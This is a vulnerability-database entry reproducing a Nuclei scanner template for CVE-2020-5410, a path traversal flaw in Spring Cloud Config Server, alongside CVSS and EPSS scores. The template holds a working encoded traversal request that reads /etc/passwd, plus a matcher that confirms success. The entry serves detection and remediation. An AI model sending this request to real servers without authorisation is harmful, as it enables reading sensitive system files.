Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2020-5410
HistoryJun 18, 2020 - 10:16 a.m.

Spring Cloud Config Server - Local File Inclusion

2020-06-1810:16:29
ProjectDiscovery
github.com
10

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS

0.971

Percentile

99.8%

Spring Cloud Config Server versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user or attacker can send a request using a specially crafted URL that can lead to a local file inclusion attack.

id: CVE-2020-5410

info:
  name: Spring Cloud Config Server - Local File Inclusion
  author: mavericknerd
  severity: high
  description: Spring Cloud Config Server versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user or attacker can send a request using a specially crafted URL that can lead to a local file inclusion attack.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files from the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Upgrade to a patched version of Spring Cloud Config Server or apply the recommended security patches.
  reference:
    - https://tanzu.vmware.com/security/cve-2020-5410
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5410
    - https://github.com/Live-Hack-CVE/CVE-2020-5410
    - https://github.com/tdtc7/qps
    - https://github.com/alphaSeclab/sec-daily-2020
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-5410
    cwe-id: CWE-23,CWE-22
    epss-score: 0.97175
    epss-percentile: 0.99813
    cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: spring_cloud_config
  tags: cve,cve2020,lfi,springcloud,config,traversal,kev,vmware

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022063f5622a1b04083c7795b0121652061d45b91d971b5658d34f473c49a1eddedd022100cdbca03b4ddc7a090fe79cacab288901f028083051dce67b628525100cf58276:922c64590222798bb761d5b6d8e72950

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS

0.971

Percentile

99.8%